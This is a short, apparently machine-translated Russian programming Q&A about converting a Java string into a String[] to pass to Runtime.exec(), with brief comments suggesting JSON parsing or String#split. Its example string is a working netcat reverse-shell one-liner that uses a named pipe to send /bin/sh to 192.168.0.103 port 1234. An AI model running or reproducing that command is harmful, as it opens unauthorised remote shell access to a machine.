У меня есть метод, какпреобразования Java Строка String [] с помощью Runtime.exec()
public String doSomething(String paramString) {
try {
//do something with paramString and store it in myNewValue
return new String(myNewValue, "UTF8");
} catch blocks...
}
Допустим doSomething()
наконец возвращает строку ниже:
{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}
Теперь это на самом деле массив строк, если вы посмотрите на него, но поскольку он был возвращен как строка из doSomething()
, он рассматривается как строка, а не String[]
.
Теперь, скажем, выше строка хранится в str3 как:
String str3 = doSomething();
Теперь там все равно, что с помощью:
Runtime.getRuntime().exec();
str3
могут быть преобразованы в String[]
и передается обратно Runtime.getRuntime().exec();
По существу, что-то вроде:
Runtime.getRuntime(). Exec (некоторая Java-магия здесь, которая преобразует str3 в String [], а затем передает эту строку [] самому этому методу exec);
Возможно, проанализируйте его как JSON и получите результаты? Я думаю, что использование 'exec()' является неправильным инструментом, если вы не спрашиваете, как преобразовать эту строку в ** вывод **, сгенерированный при запуске скрипта 'bash'. –
['String # split'] (https://docs.oracle.com/javase/8/docs/api/java/lang/String.html#split-java.lang.String-) – 4castle
как это можно сделать с Runtime.getRuntime(). exec()? Это самое важное, что мне нужно сделать. Преобразуйте его с помощью exec() и переведите его обратно к тому же самому exec(). – qre0ct